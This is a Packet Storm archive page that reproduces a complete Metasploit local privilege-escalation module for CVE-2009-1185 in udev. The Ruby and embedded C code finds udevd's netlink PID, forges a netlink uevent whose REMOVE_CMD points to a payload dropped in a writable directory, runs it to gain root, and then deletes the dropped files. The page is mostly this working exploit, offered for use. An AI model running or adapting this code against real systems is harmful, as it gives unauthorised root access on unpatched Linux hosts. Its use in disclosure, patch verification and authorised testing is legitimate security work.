what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux udev Netlink Local Privilege Escalation

Linux udev Netlink Local Privilege Escalation
Posted Sep 14, 2012
Authored by Kingcope, Jon Oberheide, egypt | Site metasploit.com

Versions of udev < 1.4.1 do not verify that netlink messages are coming from the kernel. This allows local users to gain privileges by sending netlink messages from userland.

tags | exploit, kernel, local
advisories | CVE-2009-1185
SHA-256 | a339530d415e4d147ac5e6556a603790385a27c54518e11e95069181161f0615

Linux udev Netlink Local Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix

def initialize(info={})
super( update_info( info, {
'Name' => 'Linux udev Netlink Local Privilege Escalation',
'Description' => %q{
Versions of udev < 1.4.1 do not verify that netlink messages are
coming from the kernel. This allows local users to gain privileges by
sending netlink messages from userland.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kcope', # discovery
'Jon Oberheide', # 95-udev-late.rules technique
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-1185' ],
[ 'BID', '34536' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
#[ 'Command payload', { 'Arch' => ARCH_CMD } ],
],
'DefaultOptons' => { 'WfsDelay' => 2 },
'DefaultTarget' => 0,
'DisclosureDate' => "",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
], self.class)
end

def exploit

if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
netlink_pid = datastore["NetlinkPID"]
else
print_status("Attempting to autodetect netlink pid...")
netlink_pid = autodetect_netlink_pid
end

if not netlink_pid
print_error "Couldn't autodetect netlink PID, try specifying it manually."
print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
return
else
print_good "Found netlink pid: #{netlink_pid}"
end

sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
push eax
call exit
|

# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]

cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
|)

[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
].each do |fname|
cparser.parse(File.read(fname), fname)
end

payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"

unix_socket_h(sc)
linux_x86_syscall_wrappers(sc)

main = %Q^
#include <string.h>
#include <linux/netlink.h>

int main() {
int sock;
struct iovec iov;
struct sockaddr_nl sa;
struct msghdr msg;
char *mp;
char message[4096];

memset(sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
sa.nl_pid = #{netlink_pid};
sa.nl_groups = 0;

msg.msg_name = (void *)&sa;
msg.msg_namelen = sizeof(sa);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &sa, sizeof(sa));

mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;

iov.iov_base = (void*)message;
iov.iov_len = (int)(mp-message);

sendmsg(sock, &msg, 0);

close(sock);

return 0;
}
^
cparser.parse(main, "main.c")

asm = cpu.new_ccompiler(cparser, sc).compile

sc.parse asm

sc.assemble

begin
elf = sc.encode_string
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end

pl = payload.encoded_exe
print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
write_file(payload_path, pl)

print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
write_file(evil_path, elf)

print_status "chmod'ing and running it..."
cmd_exec("chmod 755 #{evil_path} #{payload_path}")
cmd_exec("#{evil_path}")

rm_f(evil_path, payload_path)
end

def autodetect_netlink_pid
netlink_pid = nil

case session.type
when "meterpreter"
print_status("Meterpreter session, using get_processes to find netlink pid")
process_list = session.sys.process.get_processes
udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
udev_pid = udev_proc["pid"]
print_status "udev pid: #{udev_pid}"
netlink = read_file("/proc/net/netlink")
netlink.each_line do |line|
pid = line.split(/\s+/)[2].to_i
if pid == udev_pid - 1
netlink_pid = pid
break
end
end
else
print_status("Shell session, trying sh script to find netlink pid")
netlink_pid = cmd_exec(
%q^
for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
[ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
done;
done ^)
netlink_pid = nil if netlink_pid.empty?
end

netlink_pid
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close